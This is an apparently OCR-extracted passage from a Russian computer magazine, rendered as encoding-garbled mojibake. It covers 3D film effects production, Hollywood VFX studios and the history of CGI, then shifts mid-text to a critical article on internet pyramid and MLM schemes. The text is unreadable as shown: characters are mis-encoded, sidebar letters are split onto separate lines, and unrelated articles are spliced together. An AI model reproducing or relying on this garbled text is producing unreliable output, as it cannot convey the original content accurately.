íà÷èíàåòñÿ íà ýòàïå åãî ïðîåêòèðîâàíèÿ. Òóò ó÷èòûâàåòñÿ ðàñïîëîæå-
íèå ýôôåêòà ïî îòíîøåíèþ ê ðåàëüíûì êàäðàì, ïîëîæåíèå îáúåêòîâ 
â ñàìîì ýôôåêòå è ìíîãî äðóãèõ äèçàéíåðñêèõ ôèøåê. Ïîñëå ÷åãî íà-
÷èíàåòñÿ ýòàï ïîñòðîåíèÿ � äîáàâëåíèå ýëåìåíòîâ, ñîçäàíèå òðàåêòî-
ðèé, çàëèâêà òåêñòóð. Ôîðìèðóåòñÿ ëàíäøàôò, åãî òåêñòóðà, íàêëàäûâà-
þòñÿ ñòàíäàðòíûå è ïîëüçîâàòåëüñêèå ýôôåêòû. Äàëåå ïðîèñõîäèò óñ-
òàíîâêà òî÷åê îñâåùåíèÿ è ðàñïîëîæåíèÿ êàìåð. Ýòî ñàìûé ðåñóðñîåì-
êèé ýòàï, òàê êàê êîìï áóäåò ïðîñ÷èòûâàòü íàïðàâëåíèå ñâåòîâûõ ëó÷åé
è íà îñíîâå ýòîãî âû÷èñëÿòü ïàäåíèå òåíè îò âñòðå÷íûõ îáúåêòîâ. Äàæå
åñëè âñå îáúåêòû � ýòî íåáîëüøèå ôèãóðêè, ïðîñ÷åò òåíåé áóäåò âåñ-
òèñü äîñòàòî÷íî äîëãî. Çàòåì ïðîèñõîäèò ìîíòèðîâàíèå êàìåð. Î÷åíü

÷àñòî êàìåðû äåëàþò äèíàìè÷íûìè,
òàêèì îáðàçîì, êàìåðà êðóòèòñÿ âîê-
ðóã îáúåêòà ïî îïðåäåëåííîé òðàåê-
òîðèè. Ðàçóìååòñÿ, ÷òî èç ðàçíûõ ïî-
çèöèé êàìåðû áóäóò âèäíû ðàçíûå
ñòîðîíû îáúåêòà, à ñëåäîâàòåëüíî,
äëÿ êàæäîé òî÷êè íà òðàåêòîðèè ïðè-
äåòñÿ ïîäñ÷èòûâàòü îòîáðàæåíèå òå-
íåé. Ïîìèìî òåíåé, àíèìàòîð ìîæåò
èñïîëüçîâàòü çåðêàëà. Îòðàæåíèÿ
îêðóæàþùèõ ïðåäìåòîâ è îñâåùåíèÿ
ïðîñ÷èòûâàåòñÿ êîìïîì îòäåëüíî.
Äðóãèå èíñòðóìåíòû äëÿ ðàáîòû ñ
3D: Adobe Premier � ñîôòèíà, êîòî-
ðàÿ ñ÷èòàåòñÿ ëþáèòåëüñêîé, è â ñåðüåçíîì ìîíòàæå ïðàêòè÷åñêè íå èñ-
ïîëüçóåòñÿ, Avid � íåâåðîÿòíî äîðîãîé è íàâîðî÷åííûé ïàêåò ñòîè-
ìîñòüþ ïîðÿäêà 65 òûñÿ÷ äîëëàðîâ, Final Cut � ïàêåò, ïîÿâèâøèéñÿ â
1999 ãîäó è çàâîåâàâøèé ïîïóëÿðíîñòü ñðåäè íîâè÷êîâ áëàãîäàðÿ ñðàâ-
íèòåëüíî áûñòðîìó îñâîåíèþ è íåâûñîêîé öåíå. Êàæäûé àíèìàòîð
îáû÷íî ðàáîòàåò òîëüêî ñ îäíèì 3D-ïàêåòîì, õîòÿ èíîãäà ñ ïðèõîäîì â
íîâóþ êîìïàíèþ ïðèõîäèòñÿ ïîäñòðàèâàòüñÿ è þçàòü îáùèé ñîôò.
Ãîâîðÿ î ñîôòå, õî÷åòñÿ çàòðîíóòü êàäðîâóþ ïðîáëåìó. Äåëî â òîì, ÷òî
îáó÷èòüñÿ ïðîôåññèè 3D-õóäîæíèêà äîâîëüíî ñëîæíî, òåì áîëåå â Ðîñ-
ñèè. Ëåêöèè ìíîãèõ âóçîâ îñíîâàíû íà ïàêåòàõ, êîòîðûå â ðåàëå ïðîôè
íå èñïîëüçóþò. Èç-çà ýòîãî ïðîôåññèîíàëîâ â íàøåé ñòðàíå î÷åíü ìà-
ëî. Òå æå, êòî ïðèøëè â 3D ñåãîäíÿ, îòòà÷èâàëè ñâîè íàâûêè ñàìîñòîÿ-
òåëüíî íà ïèðàòñêèõ êîïèÿõ ïðîãðàìì, à óæå êîãäà ñòàíîâèëèñü íà íîãè
è íàáèðàëè îïûò, ïåðåõîäèëè íà ëåãàëüíûé ñîôò.
Òåïåðü ïîãîâîðèì î æåëåçêàõ. Òû íàâåðíÿêà óæå ñëûøàë, ÷òî äèçàéíåðû è 3D-
ìîäåëëåðû äëÿ ðàáîòû ñ ãðàôèêîé ïðåäïî÷èòàþò Apple. Êîìïüþòåðû Apple
äåéñòâèòåëüíî ëó÷øå ñïðàâëÿþòñÿ ñ îáðàáîòêîé ãðàôèêè è çâóêà, ÷åì PC. Íî
åñòü åùå îäèí íåìàëîâàæíûé ôàêòîð. Ïðàêòè÷åñêè âåñü äèçàéíåðñêèé ñîôò
èçíà÷àëüíî çàòà÷èâàëñÿ ïîä ìàêèíòîøè è ê òîìó âðåìåíè, êàê íà PC ïîÿâè-
ëèñü àëüòåðíàòèâû, ïðîôåññèîíàëû óæå ïðîñòî ïðèâûêëè ê ñâîåé ïëàòôîðìå.

ðåéòèíã êîìïüþòåðíûõ
ìóëüòôèëüìîâ 
íà IMDB.com

ïîïóëÿðíûé ñàéò çàïàäíûõ
àíèìàòîðîâ
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ÃÈÃÀÍÒÛ FFX-ÑÑÖÅÍÛ
Computer Film Company � ýòî öåëàÿ ôàáðèêà ïî ñîçäà-
íèþ ñïåöýôôåêòîâ. Êîìïàíèÿ èìååò áîëüøîé øòàò ñîò-
ðóäíèêîâ, ïîëüçóåòñÿ âûñîêîé ïðîôåññèîíàëüíîé ðåïóòà-
öèåé. Íà åå ñ÷åòó ýôôåêòû ê òàêèì õèòàì, êàê «Blade 2»,
«Ãàððè Ïîòòåð», «Ìèññèÿ íåâûïîëíèìà 2», «Ìóìèÿ âîçâ-
ðàùàåòñÿ», «Resident Evil».
Weta Digital èçâåñòíà ìåíüøå, çàíèìàÿ â ðåéòèíãå êèíîà-
ãåíòñòâ âñåãî 101-å ìåñòî èç 500. Íî àíèìàòîðû èìåííî
ýòîé êîíòîðû òðóäèëèñü íàä ñïåöýôôåêòàìè äëÿ êóëüòî-
âîé òðèëîãèè Òîëêèåíà «Âëàñòåëèí Êîëåö». È, êàê âèäíî
èç óñïåõà ôèëüìà è êîëè÷åñòâà íàãðàä, ñïðàâèëèñü ñî
ñâîåé çàäà÷åé î÷åíü íåïëîõî.
Hydraulx � åùå îäíà Ãîëëèâóäñêàÿ êîìïàíèÿ, âëèÿíèå
êîòîðîé òðóäíî ïåðåîöåíèòü. Â ñïèñêå åå êëèåíòîâ åñòü
ðåæèññåðû ôèëüìîâ «Ïîñëåçàâòðà», «Ôàíòàñòè÷åñêàÿ
÷åòâåðêà», «Êîíñòàíòèí», «Òåðìèíàòîð 3», «Ïðèêëþ÷å-
íèå Øàðêáîÿ» è ìíîãèõ äðóãèõ. Ïîìèìî ñîçäàíèÿ ñïå-
öýôôåêòîâ ê ôèëüìàì, êîìïàíèÿ çàíèìàåòñÿ èçãîòîâëå-
íèåì ðåêëàìíûõ ðîëèêîâ. Â åå ïîðòôîëèî âõîäÿò òàêèå
ðåêëàìíûå ðîëèêè, êàê Coca-Cola, World of WarCraft,
WOW Be Yourself.
Ðàññêàçûâàÿ î ëó÷øèõ êîìïàíèÿõ Ãîëëèâóäà â îáëàñòè
FX, íåëüçÿ íå óïîìÿíóòü î Tippett Studio. Âîò òîëüêî íå-
ïîëíûé ñïèñîê êàðòèí, ãäå íå îáîøëîñü áåç èõ ïîìîùè:
«Ðîáîêîï», «Ëþäè â ÷åðíîì», «Âèðóñ», «Ìèññèÿ íà
Ìàðñ», «×åëîâåê-íåâèäèìêà», «Åäèíñòâåííûé», «Ýâîëþ-
öèÿ», «Õýëëáîé», «Êîíñòàíòèí», «Ìàòðèöà Ðåâîëþöèÿ».

êëîíû àãåíòà Ñìèòà â «Ìàòðèöå»



Ïîìèìî êîìïüþòåðà, ïåðåä àíèìà-
òîðàìè ñòîèò âîïðîñ âûáîðà íåîáõî-
äèìîãî îáîðóäîâàíèÿ. ×àñòî ìîæíî
âñòðåòèòü öåëûå íàáîðû äëÿ âèäåî-
ìîíòàæà, âêëþ÷àþùèå íåîáõîäè-
ìûå ñîôò è æåëåçî. Ê òàêèì íàáî-
ðàì îòíîñèòñÿ çíàìåíèòûé Pro Tools
� àïïàðàòíî-ïðîãðàììíûé êîìï-
ëåêñ äëÿ çàïèñè è ðåäàêòèðîâàíèÿ.
Îí ñîñòîèò èç äåñÿòêà ïëàò ðàñøè-
ðåíèÿ (PCI) è íåñêîëüêèõ äåñÿòêîâ

âíåøíèõ óñòðîéñòâ, îòâå÷àþùèõ çà îáðàáîòêó çâóêà è âèäåî. Ðàáîòàåò îí
ïîä Ìàêèíòîøåì, à îñíîâó ñîñòàâëÿåò ïëàòà MIX Core Card ñ øåñòüþ (!) âû-
ñîêîïðîèçâîäèòåëüíûìè ïðîöåññîðàìè Ìîòîðîëà. Èõ çàäà÷à � ïðîñ÷èòû-
âàòü íàëîæåííûå ýôôåêòû, îáðàáàòûâàòü èõ è ñîçäàâàòü íîâûå.

[ñóïåðâàéçîðû] Çàáàâíî, íî çà âñþ èñòîðèþ 3D òî÷íîãî îïðåäåëåíèÿ
ïðîôåññèè ëþäåé, êîòîðûå èì çàíèìàþòñÿ, ïîäîáðàòü òàê è íå ñìîãëè. 
Çà ðóáåæîì èñïîëüçóþò ôðàçó Visual Effects (VFX) Supervisor � ðåæèññåð
ñïåöýôôåêòîâ, ÷åëîâåê, êîòîðûé îòâå÷àåò çà âñþ êîìïüþòåðíóþ ÷àñòü
ôèëüìà. Îí ðàáîòàåò êàê íà ñúåìî÷íîé ïëîùàäêå, òàê è â ñòóäèè � êîîð-
äèíèðóåò ðàáîòó è ñìîòðèò çà ñîâìåñòèìîñòüþ ñíèìàåìîãî è ðèñóåìîãî
ìàòåðèàëà. Ïîíÿòíî, ÷òî çàíÿòü ýòó äîëæíîñòü ìîæåò òîëüêî ÷åëîâåê, õîðî-
øî ðàçáèðàþùèéñÿ ñðàçó â äâóõ îáëàñòÿõ � êèíî è êîìïüþòåðíûé ìîíòàæ.
Çà÷àñòóþ ñóïåðâàéçîðû èìåþò êèíîîáðàçîâàíèå. Çà ïîñëåäíåå âðåìÿ ÷èñ-
ëî ñïåöýôôåêòîâ â ôèëüìàõ óâåëè÷èëîñü, ñëåäîâàòåëüíî, ïðèáàâèëàñü 
ðàáîòà è ñóïåðâàéçåðàì. Îíè ñòàëè ïðàêòè÷åñêè âòîðûìè ðåæèññåðàìè.

Êàê óæå áûëî ñêàçàíî âûøå, ïðè ñúåìêàõ ôèëüìà çàêàçû íà èçãîòîâ-
ëåíèå ñïåöýôôåêòîâ îòäàþòñÿ ðàçíûì ñòóäèÿì. Çà ïîèñê äîñòîéíûõ
êàíäèäàòîâ, çàêëþ÷åíèÿ ñ íèìè äîãîâîðîâ è îöåíêó ðåçóëüòàòîâ îòâå-
÷àåò Overall Supervisor.
On-set Supervisor � ýòî ÷åëîâåê, êîòîðûé êîíñóëüòèðóåò ðåæèññåðà,
óêàçûâàÿ íà íåîáõîäèìîñòü êîððåêòèðîâêè îïðåäåëåííûõ ñöåí äëÿ òî-
ãî, ÷òîáû â áóäóùåì õóäîæíèêè ñìîãëè ðåàëèñòè÷íî äîáàâèòü ýôôåêò.
Îí íàõîäèòñÿ íåïîñðåäñòâåííî íà ñúåìî÷íîé ïëîùàäêå è óïðàâëÿåò ðà-
áîòîé ïèðîòåõíèêîâ, êàñêàäåðîâ è äðóãèìè ëþäüìè, çàäåéñòâîâàííûìè
â ïîäãîòîâêå êàäðà. Íà ýòîì èåðàðõèÿ íå çàêàí÷èâàåòñÿ. Äàëåå èäóò ðó-
êîâîäèòåëü ñòóäèè, ÷åëîâåê, íàáëþäàþùèé çà ñîçäàíèåì ýïèçîäà, åùå
îäèí âàéçîð ñìîòðèò çà âûïîëíåíèåì êàäðà è ò.ä. Â îáùåì, çà êàæäûì
ñïåöýôôåêòîì ñòîèò öåëàÿ êîìàíäà ñïåöèàëèñòîâ.

[çàêëþ÷åíèå] Êàê âèäèøü, ñúåìêè ôèëüìà � çàíÿòèå õîòü è èíòåðåñ-
íîå, íî íåâåðîÿòíî òðóäîåìêîå. Ìîìåíòû, êîòîðûå çðèòåëü ìîæåò äàæå
íå çàìåòèòü, ìîãóò ïðîðàáàòûâàòüñÿ ïî íåñêîëüêî íåäåëü. Ìû âîñõèùà-
åìñÿ ýôôåêòîì çàìåäëåíèÿ âðåìåíè, íî ïî÷åìó-òî ñîâñåì íå îáðàùà-
åì âíèìàíèå íà ãîðîä ìàøèí è ïîñëåäíåå ïðèñòàíèùå ëþäåé Çèîí,
âîñïðèíèìàÿ åãî êàê ÷òî-òî åñòåñòâåííîå. À âåäü åñëè áû âñå áûëî ñäå-
ëàíî áåç êîìïüþòåðíûõ òåõíîëîãèé, ëþäè ñðàçó áû çàìåòèëè ðèñîâàí-
íûå äåêîðàöèè, êóêëû ãåðîåâ è äðóãèå âåùè. Çàìåòèëè è ðàñêðèòèêîâà-
ëè áû «â íîëü». Ðåæèññåðû ïîòåíöèàëüíûõ áëîêáàñòåðîâ äîëæíû îò-
äàòü íà ñîçäàíèå ñïåöýôôåêòîâ, êàê ìèíèìóì, íåñêîëüêî äåñÿòêîâ ìèë-
ëèîíîâ äîëëàðîâ. Âåäü çðèòåëè òåïåðü õîäÿò â êèíîòåàòð íå òîëüêî çà
õîðîøåé àêòåðñêîé èãðîé è ñþæåòîì. Èì íóæíû çðåëèùà, íîâûå âïå-
÷àòëåíèÿ. Òåõíîëîãèè ïðî÷íî çàíÿëè ìåñòî íà ñëóæáå Ãîëëèâóäà

òàêèå âîò îíè, ñóïåðâàéçîðû

ÝÊÑÊÓÐÑ ÂÂ ÈÈÑÒÎÐÈÞ
Âïåðâûå êîìïüþòåðíûå ýôôåêòû
áûëè èñïîëüçîâàíû â 70-õ ãîäàõ, â
äâóõ àìåðèêàíñêèõ ôèëüìàõ î âçáóí-
òîâàâøèõñÿ ðîáîòàõ: «Áóäóùèé ìèð»
è «Çàïàäíûé ìèð». Ïðè ïîìîùè
êîìïüþòåðà ðåæèññåðû õîòåëè ïîêà-
çàòü îêðóæàþùèé ìèð ãëàçàìè ðîáî-
òà. Ñäåëàëè îíè ýòî, ïðàâäà, ïðèìè-
òèâíî � ïðîñòåéøèå ýôôåêòû ïðîñ-
òî âïèõíóëè ìåæäó êàäðàìè. Ñâÿçè ñ
ðåàëüíûìè ñöåíàìè íå áûëî íèêà-
êîé. Ïåðâóþ ïîïûòêó ñêðåùèâàíèÿ
ðåàëüíûõ êàäðîâ ñ êîìïüþòåðíîé
ãðàôèêîé â 1977 ãîäó ïðåäïðèíÿë
äÿäÿ Ëóêàñ â ñâîåé ëåãåíäàðíîé ñà-
ãå. È ýòî áûë íàñòîÿùèé ïðîðûâ.
Ïðàâäà, ñïåöýôôåêòàìè â ïðèâû÷-
íîì äëÿ íàñ ïîíèìàíèè, ïåðâûå øà-
ãè Äæîðäæà íàçâàòü òðóäíî. Íàä èõ
ñîçäàíèåì àíèìàòîð «Çâåçäíûõ
âîéí» òðóäèëñÿ îêîëî òðåõ ìåñÿöåâ.
Ðåçóëüòàò � âèðòóàëüíàÿ 3D êàðòà
Ãàëàêòèêè, êîòîðóþ ëþáîé íîâè÷îê
3D ðåíäåðèíãà ñâàÿåò çà ïîë÷àñà. Íî
íå ñòîèò çàáûâàòü, ÷òî òîãäà ó àíè-
ìàòîðîâ íå áûëî êîìïüþòåðíûõ

ìîùíîñòåé, ïîçâîëÿþùèõ óñêîðèòü
ïðîöåññ ìîäåëèðîâàíèÿ. Â òå âðåìå-
íà ñîçäàíèå ïîëíîìåòðàæíîé êàðòè-
íû ñ îáèëüíûì èñïîëüçîâàíèåì
êîìïüþòåðíîé ãðàôèêè êàçàëîñü íå-
ðåàëüíûì. Ïåðâûìè, êòî áðîñèë âû-
çîâ 3D, ñòàëè Ñòèâåí Ëèñáåðãåð è
Äîíàëüä Êóøíåð. Â 1980 ãîäó îíè çà-
ãîðåëèñü èäååé ñîçäàíèÿ êàðòèíû ñ
èñïîëüçîâàíèåì âñåõ âîçìîæíûõ FX-
èíñòðóìåíòîâ, êîòîðûå ñóùåñòâîâà-
ëè íà òî âðåìÿ. Íî, îáîéäÿ ñòóäèè
ñèëüíûõ ìèðà ñåãî, äåíåã íà íà÷àëî
ðàáîò òàê è íå ïîëó÷èëè. Òîãäà Ñòè-
âåí Ëèñáåðã ñîáñòâåííîðó÷íî ñäåëàë
íåáîëüøîé ðîëèê ñ íàëîæåíèåì àíè-
ìàöèè íà ðåàëüíûå êàäðû è ïîêàçàë
ñòóäèè Äèñíåÿ. Áîññàì ïîíðàâèëîñü,
è îíè ñîãëàñèëèñü ôèíàíñèðîâàòü
ïðîåêò. Ñðàçó æå îáúÿâèëèñü äâå
êîìïàíèè, æåëàþùèå çàíÿòüñÿ ðàç-
ðàáîòêîé ñïåöýôôåêòîâ: MAGI è 3I.
Ëþáîïûòíî òî, ÷òî îáå êîìïàíèè
èìåëè ñîáñòâåííîå ïðåäñòàâëåíèå î
êîìïüþòåðíîé ãðàôèêå, è îáà èõ
ïîäõîäà áûëè èñïîëüçîâàíû â ñúåì-
êàõ êàðòèíû. Ïîäõîä ïåðâîé êîìïà-

íèè çàêëþ÷àëñÿ â ïîñòðîåíèè îáúåê-
òîâ ïðè ïîìîùè ïðîñòûõ ôèãóð �
ïðÿìîóãîëüíèê, êðóã, êâàäðàò. Ñïåöè-
àëèñòû 3I ñòðîèëè ìîäåëè ïðè ïîìî-
ùè ïîëèãîíîâ. Íà ñòîðîíå MAGI áû-
ëà ñêîðîñòü, íà ñòîðîíå êîëëåã � 
ðåàëèñòè÷íîñòü. Òàê èëè èíà÷å, íà-
÷àâøèåñÿ â 1981 ãîäó, ñúåìêè ïî-
äîøëè ê êîíöó óæå ÷åðåç ãîä. Òàêèì
îáðàçîì, ìèð óâèäåë çíàìåíèòûé
ôèëüì «Òðîí». Ñþæåò ýòîãî ôèëüìà
áûë íåîäíîêðàòíî èñïîëüçîâàí ïîçä-
íåå: çëîáíûé èñêóññòâåííûé èíòåë-
ëåêò ðåøèë ïîðàáîòèòü ÷åëîâå÷åñò-
âî, íî íà åãî ïóòè âñòàë ñìåëü÷àê,
ðåøèâøèé ðàçðóøèòü èìïåðñêèå
ïëàíû æåñòÿíêè è ñïàñòè ìèð. Íè÷å-
ãî íå íàïîìèíàåò? Äðóãèì ôèëüìîì,
êîòîðûé ñäåëàë ðåâîëþöèþ â ìèðå
ñïåöýôôåêòîâ, ñòàë ëþáèìûé ìíîãè-
ìè «Òåðìèíàòîð 2». Ïîìíèøü ìî-
ìåíò, êîãäà T-1000 ïîäíèìàåòñÿ ñ
êëåò÷àòîãî ïîëà, ïðèíèìàÿ ôîðìó
ïîëèöåéñêîãî? Ñäåëàòü â 1990 ãîäó
òàêîå áûëî ñëîæíî, è íè÷åãî ïîäîá-
íîãî åùå íå âèäåëè. Ïîýòîìó ñìîò-
ðåëîñü î÷åíü âïå÷àòëÿþùå.

ðàáî÷åå ìåñòî 3D-ìîäåëëåðà T-1000 èç «Òåðìèíàòîð 2»

[X
À

Ê
Å

Ð
1

2
 [

8
4

] 
0

5
 >

Ñ
Ö

Å
Í

À
0

9
3

]



Þ
Í

È
Ò

Û
Ê

Ð
Å

À
Ò

È
Ô

Ô
Ê

Î
Ä

È
Í

Ã
U

N
IX

O
ID

[Ñ
Ö

Å
Í

À
]

Â
Ç

Ë
Î

Ì
È

Ì
Ï

Ë
À

Í
Ò

]P
C

_
Z

O
N

E
]

Í
Ü

Þ
Ñ

Û
F

E
R

R
U

M



ïåðü ïðèïèñûâàþò ó÷àñòèå â ôèíàíñîâîé ïèðàìèäå, ïðè÷åì ðîëü ïðàêòè-
÷åñêè îðãàíèçàòîðà. Íî ýòî íå åäèíñòâåííîå, ÷òî ñìóùàåò âî RMI. Âñòóïàÿ â
ïðîãðàììó, òû äîëæåí ñäåëàòü ñìåøíîé âçíîñ � 100 ðóáëåé. Êàêîé òîëê
ëþäÿì, äëÿ êîòîðûõ íå ïðîáëåìà îòäàòü òåáå 10 òûñÿ÷ óáèòûõ åíîòîâ, áðàòü
ñîòíþ äåðåâÿííûõ? Íå ïîíèìàþ. Òàêæå ïîäîçðèòåëüíî ñìîòðèòñÿ âíèçó
ãëàâíîé ñòðàíèöû íàäïèñü «(C)RMI 1998-2000». Âèäàòü, ìåãàñèñòåìà, îäà-
ðèâàþùàÿ ëþáîãî ìèëëèîíàìè, áîëüøå ïàðû ëåò íå ïðîòÿíóëà.
Íî ñàìîé ïîïóëÿðíîé (è ñàìîé òóïîé, íà ìîé âçãëÿä) ñòàëà ñõåìà ñ
REPORT'àìè. Òåáå íà ìûëî ïðèõîäèò ïèñüìî, ãäå ïðåäëàãàþò ïðèíÿòü ó÷àñ-
òèå â î÷åðåäíîé ïèðàìèäå. Äëÿ ýòîãî äîñòàòî÷íî ïåðåâåñòè ïî äîëëàðó íà
WMZ-ñ÷åò êàæäîìó èç ñïèñêà ÷åòûðåõ ÷åëîâåê. Âçàìåí òû ïîëó÷èøü ÷åòû-
ðå ýëåêòðîííûå êíèãè (à ãîâîðèòå, ó íàñ íàöèÿ ÷èòàòü ïåðåñòàåò. Äà ïîëîâè-
íà MLM-ïèðàìèä íà êíèæêàõ æèâåò! Â ñìûñëå, æèëà). Òåïåðü ìåíÿé èìÿ ïåð-

âîãî ÷åëà â ñïèñêå íà ñâîå, âáèâàé íîìåð êîøåëüêà, çàïóñêàé ñïàì-ðàññûë-
êó è æäè, êîãäà òåáå ïðèøëþò áàêñû çà çàêàçàííóþ ó òåáÿ êíèãó. Õîòÿ, êàê
ïîêàçûâàåò ïðàêòèêà, íà òâîé êîøåëü âðÿä ëè óïàäåò áîëüøå ïàðû áàêñîâ.

[ïîñëåäñòâèÿ MLM] Íî íå âñå êîòó ìàñëåíèöà. Â ÑØÀ îðãàíèçàòîðû
ïèðàìèäû SkyBiz.com, íàãðåâøèå íàèâíûõ þçåðîâ íà 175 ìèëëèîíîâ
äîëëàðîâ, ïîëó÷èëè îáâèíåíèÿ ïî ñòàòüå «ìîøåííè÷åñòâî â îñîáî êðóï-
íûõ ðàçìåðàõ». Â àôåðå ïðèíÿëè ó÷àñòèå æèòåëè 150 ñòðàí ìèðà, â òîì
÷èñëå è Ðîññèè. Ïîëüçîâàòåëè ïëàòèëè 150 äîëëàðîâ, ïîëó÷àëè ìåñòî
äëÿ ñâîåãî ñàéòà íà ñåðâåðå êîìïàíèè, íàáîð êîìïüþòåðíûõ ó÷åáíûõ
ïðîãðàìì, êîòîðûå è ïëàíèðîâàëîñü ðàñïðîñòðàíÿòü, è, åñòåñòâåííî,
âîçìîæíîñòü çàðàáîòàòü ïàðó ìèëëèîíîâ äëÿ ñåìåéíîãî áþäæåòà. Îð-
ãàíèçàòîðû, ïîëó÷èâ êó÷ó áàáîê, âçàìåí íè÷åãî íå äàëè, è, ñêîðåå âñå-
ãî, ïî-òèõîìó ñëèëèñü áû êóäà-íèáóäü íà Ãàâàéè, íî óæ áîëüíî âåëèêà
áûëà ñóììà. Èõ äåÿòåëüíîñòüþ çàèíòåðåñîâàëèñü àìåðèêàíñêèå âëàñòè,
è òåïåðü ïðåäïðèèì÷èâûì êèäàëàì ãðîçèò îêîëî 20 ëåò òþðüìû.

[Multi-level-marketing] Õàëÿâû â ãëîáàëüíîé ïàóòèíå õâàòàåò. ß áû äà-
æå ñêàçàë, åå ïîäîçðèòåëüíî ìíîãî! Âçÿòü, íàïðèìåð, ðàçëè÷íûå MLM-
ïðîåêòû (Multi-Level Marketing), à ïî íàøåìó � ôèíàíñîâûå ïèðàìèäû.
Ïðèäóìàëè èõ çàäîëãî äî êîìïüþòåðíîé ýðû, à ïåðâûì ôèíàíñèñòîì ñòàë
Êàðë Ðåíáîðã, èçîáðåòàòåëü ïèùåâûõ äîáàâîê. Ïðàâäà, â ìàãàçèíàõ èõ
íèêòî íå ïîêóïàë, ÷òî íèêàê íå óñòðàèâàëî Ðåíáîðãà. Â êîíöå êîíöîâ ìó-
æè÷îê ðàçäàë êîðîáêè ñ ÷óäî-ïðîäóêòîì ñâîèì äðóçüÿì, îáúÿñíèâ, ÷òî îíè
äîëæíû ðåêëàìèðîâàòü åãî ñðåäè çíàêîìûõ è ïðîäàâàòü, à îí çà êàæäóþ
ïðîäàííóþ óïàêîâêó áóäåò ïëàòèòü êîìèññèîííûå. Äðóçüÿ îò õàëòóðêè íå
îòêàçàëèñü, è äåëî ïîøëî. Ñêîðî ïèùåâûìè äîáàâêàìè òîðãîâàëè çíàêî-
ìûå çíàêîìûõ, çàòåì èõ çíàêîìûå, ïîïîëíÿÿ íèæíèå ñëîè ïèðàìèäû. Òàê,
íå âëîæèâ íè äîëëàðà â ðåêëàìó ñâîåãî ïðîäóêòà, àìåðèêàíñêèé ïðåäïðè-
íèìàòåëü äîñòèã îáîðîòà â 7 ìèëëèîíîâ äîëëàðîâ è íàâñåãäà âïèñàë ñâîå
ñêðîìíîå èìÿ â èñòîðèþ ìèðîâîé ýêîíîìèêè. 
Ñ ïîÿâëåíèåì Èíòåðíåòà êîëè÷åñòâî æåëàþùèõ çàðàáî-
òàòü íà ïèðàìèäàõ òîëüêî óâåëè÷èëîñü. Âåäü ëþäåé,
«êëþþùèõ» íà ëîçóíã «Âëîæè áàêñ, íè÷åãî íå äåëàé, ïî-
ëó÷è 5 áàêñîâ», õâàòàëî âñåãäà. Ïîýòîìó â êîíöå 90-õ,
êîãäà ðóíåò ñòàë íàáèðàòü îáîðîòû, ïèðàìèäû ñòàëè åãî
íåîòúåìëåìîé ÷àñòüþ. Â ýòî âðåìÿ, ïðàâäà, åùå íå óãàñ-
ëè âîñïîìèíàíèÿ îá ÎÀÎ «ÌÌÌ» è òîâàðèùå Ìàâðîäè.
Ëþäè áûëè íàñòðîåíû ñêåïòè÷åñêè, è ñïåöèàëüíî äëÿ
íèõ ïîÿâèëàñü êó÷à òåêñòîâ î òîì, ÷åì MLM îòëè÷àåòñÿ
îò ÌÌÌ, è ïî÷åìó ôèíàíñîâûå ïèðàìèäû � ýòî êðóòî.
Óñïåøíûõ ñåòåâûõ ïèðàìèä â èñòîðèè áûëî ïðåäîñòà-
òî÷íî. Íåñêîëüêî ëåò íàçàä áîëüøîé ïîïóëÿðíîñòüþ
ïîëüçîâàëàñü ïèðàìèäà Global Business Project (GBP).
Ñóòü åå òàêàÿ: èìååòñÿ êíèãà Ñåðãèî Ïèêàëüå «Êîëûáåëü
äëÿ ðàçóìà», ðàçáèòàÿ íà 4 ÷àñòè. Ïåðâàÿ ÷àñòü ñòîèò
ïîëòèííèê, âòîðàÿ � 100 ðóáëåé, òðåòüÿ � 150, ÷åòâåð-
òàÿ � äâåñòè. Âåæëèâî ïðîìîë÷ó, ÷òî 500 ðóáëåé çà
ýëåêòðîííóþ êíèãó � ýòî íå÷òî, è íà ëîòêàõ áóìàæíûé
âàðèàíò ìîæíî êóïèòü â 3 ðàçà äåøåâëå. Çàòî òåáå áåñï-
ëàòíî äàäóò ïåðâóþ ÷àñòü êíèãè, êîòîðóþ è íàäî çàãíàòü
20 ïîêóïàòåëÿì. Ïîñëå ýòîãî îñòàåòñÿ êóïèòü ïîñëåäíèå
òðè ÷àñòè è «âûïîëíÿòü çàêàçû, ðàññûëàÿ êíèãè äðóãèì».
È òîãäà íà÷íåøü ïîëó÷àòü ñâåðõïðèáûëü: îò 1 äî 20 ìèë-
ëèîíîâ ðóáëåé. Ñîìíåâàþñü, ÷òî ñòîëüêî çàðàáîòàë ñàì
àâòîð êíèãè. À ÷òîáû çàðàáîòàòü ýòè äåíüãè ðàñïðîñòðà-
íèòåëþ � âî âñåì ðóíåòå ñòîëüêî ëîõîâ íå íàéäåòñÿ.
Åùå îäíà êðàñèâàÿ àááðåâèàòóðà � RMI (Richness Magic by Internet). Çäåñü
íàì îáåùàþò, ïðàêòè÷åñêè ãàðàíòèðóþò, òðè ìèëëèîíà ðóáëåé. Êàê ïèøóò
íà èõ ñàéòå, êîìïàíèþ ðàçðàáîòàë îáû÷íûé ÿïîíñêèé ãåíèé Ìèÿìîòî È÷è-
êàâà, êîòîðûé, àíàëèçèðóÿ ðàáîòó ôèíàíñîâûõ ïèðàìèä, ðàññòðîèëñÿ, ÷òî
áàáêè ïîëó÷àþò òîëüêî òå, êòî îêàçàëñÿ íà âåðøèíå. È ÷òîáû áîëåå ïîçäíèì
ó÷àñòíèêàì íå áûëî îáèäíî, ðàçðàáîòàë «ãåíèàëüíóþ ñóïåðïðîãðàììó»,
îáåñïå÷èâàþùóþ äåíüãàìè âñåõ. Äîñòèãàåòñÿ ýòî ÿêîáû çà ñ÷åò òîãî, ÷òî
ïîñëå çàâåðøåíèÿ îäíîãî öèêëà ïðîäàæ íà÷èíàåòñÿ ñëåäóþùèé öèêë, è åñ-
ëè òû íå óñïåë ïîëó÷èòü äîëëàðû â ïðåäåëàõ ïåðâîãî öèêëà, òî òåáå âûïëà-
òÿò êîìïåíñàöèþ â 10000 áàêñîâ. Íå ñîâñåì ÿñíî, ÷òî â ýòîé ïèðàìèäå ïðî-
äàþò � âèäàòü, íå ñóòü âàæíî, ãëàâíîå, ÷òîáû ïîñåòèòåëü ñàéòà ïîíÿë, ÷òî
åìó äàäóò ìíîãî äåíåã è ïðîñòî òàê. Ìåíÿ èñêðåííå ïîðàçèëî, ÷òî  íà ñàéòå

åñòü èíôîðìàöèÿ î òîì, ÷òî ïðîã-
ðàììà Ìèÿìîòû óñîâåðøåíñòâîâà-
íà... ôèðìîé Microsoft! Èíòåðåñíî,
